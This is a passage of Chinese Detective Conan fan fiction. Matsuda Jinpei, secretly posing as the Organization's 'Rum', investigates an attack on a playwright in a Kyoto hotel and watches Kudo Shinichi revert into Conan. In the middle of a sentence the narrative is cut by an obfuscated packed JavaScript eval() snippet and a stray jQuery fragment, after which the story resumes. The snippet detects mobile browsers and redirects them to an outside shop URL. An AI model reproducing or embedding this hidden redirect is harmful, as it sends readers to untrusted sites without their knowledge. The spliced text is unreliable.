“绫小路警官,这位是?”工藤新一疑惑道。
“噢,我叫松田阵平。”松田阵平坦荡荡伸出手。
工藤新一有些疑惑地伸手握住松田阵平的手掌,两人友好地握了握就松开了。
毛利兰走上前凑近工藤新一小声问:“新一你认识他吗?”
“不,不认识。”工藤新一摇头,“不过说起来我隐约觉得他的样子好像有点熟悉?”
工藤新一后半句话越说越小声,并不是很确定自己的感觉,因此毛利兰也没有听清。
松田阵平已经跟着绫小路文麿走到一边,工藤新一偷偷在他后面观察。
黑色的卷发,虽然很帅但是却是他陌生的五官,应该是他的错觉吧。也有可能是今天入住酒店的时候在什么地方和对方擦肩经过。
工藤新一摇头让自己回到案件里。
“也就是说松田先生并不认识隔壁的西木太郎坊先生,这次是来京都旅游休假的。”绫小路文麿确认,见松田阵平点头他道,“松田先生不用担心,我想这次的事情应该大概率和你无关。”
松田阵平想到大寺文彦房间里的布置,心道这可不一定。
他怀疑房间里的布置八成和隔壁西木太郎坊遇袭昏迷有关,西木太郎坊只是昏迷而不是死亡,说不定也有阴差阳错下,本该他住的房间被大寺文彦住了的原因。
“天狗,西木他怎么可能真的是被那种虚构的妖怪给伤害的!”一头黑色过耳短发蓄着胡须,戴着圆眼镜的男人不可置信喊道。
松田阵平顺着吵闹的声音望去。
隔壁被警察围住的1504门口除了几个高中生外,就是三男一女最为明显了。
“绫小路警官,我可以跟着一起旁观你们破案吗?”见绫小路文麿看来,他笑道,“别看我这样,其实我也是个侦探来着。”
-
“受害者西木太郎坊,38岁,是个有名的剧作家。出事前还和几位自己的好友约好十分钟后要一起下楼吃饭,结果十分钟后他们怎么按门铃,受害者都没有回应,找了酒店服务生过来用房卡开门后才发现受害者和椅子仰躺在地上。”工藤新一向绫小路文麿解释道。
松田阵平站在绫小路文麿旁看向其他几个据说是西木太郎坊的好友。分别是37岁的知名女演员鞍知景子、37岁的知名男演员井隼森也、37岁的有名作曲家阿贺田力和38岁的电影导演马山峯人。
几人是《红色的修罗天狗》剧组成员,在西木太郎坊遇袭之前,还有人匿名寄给西木太郎坊一封暗号信。这也是为什么工藤新一等人会出现在这里。
“总之是景子小姐邀请你们破解这封暗号信,还没有想出来就出事了。”绫小路文麿道。
工藤新一和跟着他的毛利兰、铃木园子以及世良真纯点头如捣蒜。
松田阵平趁着没人注意到1504,跨了几步绕开几人探头看向案发现场。
大量散落在房间里的剧本和便签纸,中间是一张倒塌的椅子和残留的血迹,房间的窗户大开。
松田阵平抬头看向天花板,瞳孔猛地一缩。
熟悉的布置一模一样出现在1504的天花板上。溅射状的血迹,一串走向窗户然后消失的血脚印。
果然,是大寺文彦误打误撞弄到了凶手提前布置好的房间了。不过也可能正是因为这样,受害者才能捡回一条命。
松田阵平仔细观察天花板那片刺眼的血迹,觉得明显没有大寺文彦房内来得大片,缩水了至少一半,能想象出凶手仓促间的布置。
嗡嗡!
放在怀里的手机收到信息亮起几秒后复又安静息屏。松田阵平避开人群掏出来看。
From:Vermouth
To:Rum
交易完成,大寺文彦已离开京都。
房间已经改成了常盘集团上个月某场抽奖奖励的旅游赠票,预定人已经换成常盘集团。我们的房间已经安排好了退房。
松田阵平手指翻飞,回了一封新的邮件给贝尔摩德。
From:Rum
To:Vermouth
你直接拿着资料回去见Gin,我自行离开。
由于案发现场的窗户大开,对流的晚风穿过松田阵平的衣袖,顺着高楼一路吹向几百米开外的另一栋大楼的楼顶之上。
一点微弱火星在暗处随着吐息闪烁明灭,红唇间吐出烟雾。贝尔摩德看向手中亮着的手机屏幕,朗姆的回复清晰可见。
“哦?看来新Rum也不太待见Gin。”贝尔摩德收起手机最后看了一眼酒店大楼后就转身离开。
应付完贝尔摩德,暂时不用担心组织知道工藤新一还活着的消息。松田阵平看向正拿着暗号信沉思的几位高中生,出于某种曾经身为警察的本能,松田阵平走上前去。
“这封暗号信,能给我看看吗?”松田阵平站在几人面前礼貌询问。
“当然。”工藤新一将暗号信递给了松田阵平,“寄到西木先生手里的除了这个暗号信,还有一片已经干枯了的八角金盘叶子。”
松田阵平掏出手机将暗号信拍了下来后问:“这个角落的四个黑色方块是?”
“噢,根据西木先生所说这个暗号是他们前不久自杀的好友出栗先生的标志。”世良真纯突然插入接话。
她一双大眼好奇地打量着松田阵平,语气试探:“话说松田先生不害怕案发现场吗,虽然这次西木先生没有生命大碍,但是大部分普通人好像都对这种吓人的案发现场很害怕。”
“我就是个业余侦探,所以胆子比普通人大点。而且如果怀疑我的话,我刚刚已经配合了绫小路警官,目前看来我应该是没什么嫌疑的。”
松田阵平知道世良真纯估计是觉得住在隔壁的他也有嫌疑。虽然他跟案件不相干,但还是不希望被警方细究身份的。
想到之前还是大寺文彦的房间,目前归他了的1502里那个如出一辙的布置,松田阵平觉得这对于破案来说是个大发现,他得想个办法合理告诉大家。
松田阵平从绫小路文麿、工藤新一、世良真纯、毛利兰等人脸上扫了一圈,最后还是决定一会找个机会跟工藤新一说。
他走到工藤新一的身边正想要和工藤新一一会单独聊聊的时候,工藤新一忽然发出痛苦的呻吟,整个人弯腰像是痛到无法承受地大口呼吸,面色苍白,还有大颗大颗的汗珠从额头滚落。
“工藤同学,你没事吧?”松田阵平下意识抬手扶住工藤新一。
“喂,工藤你怎么了?”世良真纯也凑上来。
喘息了片刻,工藤新一勉强直起身道:“没,没事。咳!”工藤新一再度弯下腰,已经不是自己随便说句没事就能掩饰过去的了,在场有眼睛的人都能意识到他状况不对。
松田阵平皱眉担忧急敲系统:“系统,工藤新一这是怎么回事?在我不知道的地方受了什么伤吗?”
系统安抚道:“宿主这个是工藤新一吃了灰原哀研制的APTX4869的半成品解药的副作用,在变回原来的样子和药效即将失效后身体都会出现剧烈的疼痛,体温升高而后改变人的模样。宿主请安心。”
被系统这么一提醒,松田阵平这才想起来角色卡上的信息,主要是这部分信息分布在柯南的角色卡和灰原哀的角色卡,还真一时联想不到。
看着工藤新一痛苦的样子,估计自己一会也没办法和工藤新一单独谈话了。松田阵平皱眉:“没有办法帮他缓解痛苦吗,他还是个高中生......”
系统:“如果能有新一代的APTX4869解药估计能改
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574643|204312||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
善这个问题。”
“你不要紧吧孩子。”井隼森也几人也围上来。
“啊没事的,我还好的。”他痛苦地喘息了几下,勉力解释道,“我应该是又感冒了,回去休息一晚就好了。”
眼见工藤新一要自己走,世良真纯和毛利兰想要追上去帮他。
松田阵平看着工藤新一又着急又不能立刻甩开两人,突然上前一步以不容拒绝的态度扶住了工藤新一。
“我扶他先去我的房间里休息吧,你们安心在这里,要是出什么事情我会跟大家说的。”
“等......我不需......”工藤新一想要挣脱松田阵平的搀扶。
松田阵平带着工藤新一立刻转身用房卡打开了1502的房门,不给工藤新一机会就将房门关上了。
“新一......”毛利兰面露担忧。
铃木园子安慰她:“应该会没事,就是感冒。要是严重的话松田先生也会出来找我们。”
毛利兰又担忧地看了眼松田阵平关上的房门:“嗯。”
-
1502的房间之内,一片黑暗,松田阵平并没有立刻按开灯,他直接搀扶着工藤新一躺在床上休息,可担心自己随时变小的工藤新一又怎么会乖乖配合,他推拒着要走。
“松田先生很感谢你的好意,但是我觉得我还是回自己的房间比较好,我同学跟我同一间房,有什么问题都能及时发现......”
工藤新一在管灰原哀拿解药的时候就答应了对方的三点要求,其一是这个解药不能连续服用,下次服用必须得等八个小时以后,其二是他在身体变小期间如何不被周围的人发现,其三就是不能做太亲密的事情。
无视莫名其妙的第三条,他早就安排好了服部平次躲在了自己的床铺底下,在他变小期间装睡。但是被松田阵平强制带走安顿休息,这不是一下子打破了两条吗?
回去肯定要被灰原骂了。不对,现在最重要的不是这个,APTX4869的药效快过了,他不能当着一个陌生人的面暴露工藤新一居然会变成一个小孩子的事实。这绝对太过吓人了!
工藤新一心急如焚,但是由于药效快过而产生的剧烈痛苦和体温上升,他根本甩不开松田阵平,还被对方盖上了被子。
烧得有些迷糊的大脑挨着柔软的枕头有些绝望想到,难道自己只能违背灰原顶下的第一条规则,连着吃下第二颗解药吗?
松田阵平看工藤新一逐渐安静下来,他借着窗外的月光紧急收拾了下大寺文彦的痕迹,以免被工藤新一发现什么。
不过大寺文彦白天在外面装模做样的旅游,晚上乖乖在等他和贝尔摩德,看起来根本没有怎么使用过酒店,只有一个属于大寺文彦的迷你行李箱,和三人坐过的椅子有痕迹。
松田阵平拉上行李箱伪装成自己的,又将椅子推回原位。只等工藤新一变回江户川柯南再开灯,然后表明自己好人的身份让柯南相信后,再让柯南看见这间房间被凶手布置的现场。
据他对系统提供的漫画资料研究,只要是知道柯南真实身份的人都或多或少能参与进更多主线剧情里,这对他之后偷偷将组织消息传递出去,以及有机会糊弄过去自己是怎么活下来的从而让世界承认自己,都非常有利。
“啊呃!”突然床铺上的工藤新一发出无法遏制的呻吟,接着本来鼓鼓囊囊的被窝瞬间缩小一大半。
看来是从工藤新一变成江户川柯南了。
松田阵平不等工藤新一立刻从怀里掏出第二粒解药服下,啪地打开了灯。
“!”变小的某人缩在被窝里神色惊慌。
松田阵平上前一把掀开了某人死死拉住的被子。
穿着明显不合身,拖着长袖长裤的小男孩瞪着大眼与松田阵平对上了视线。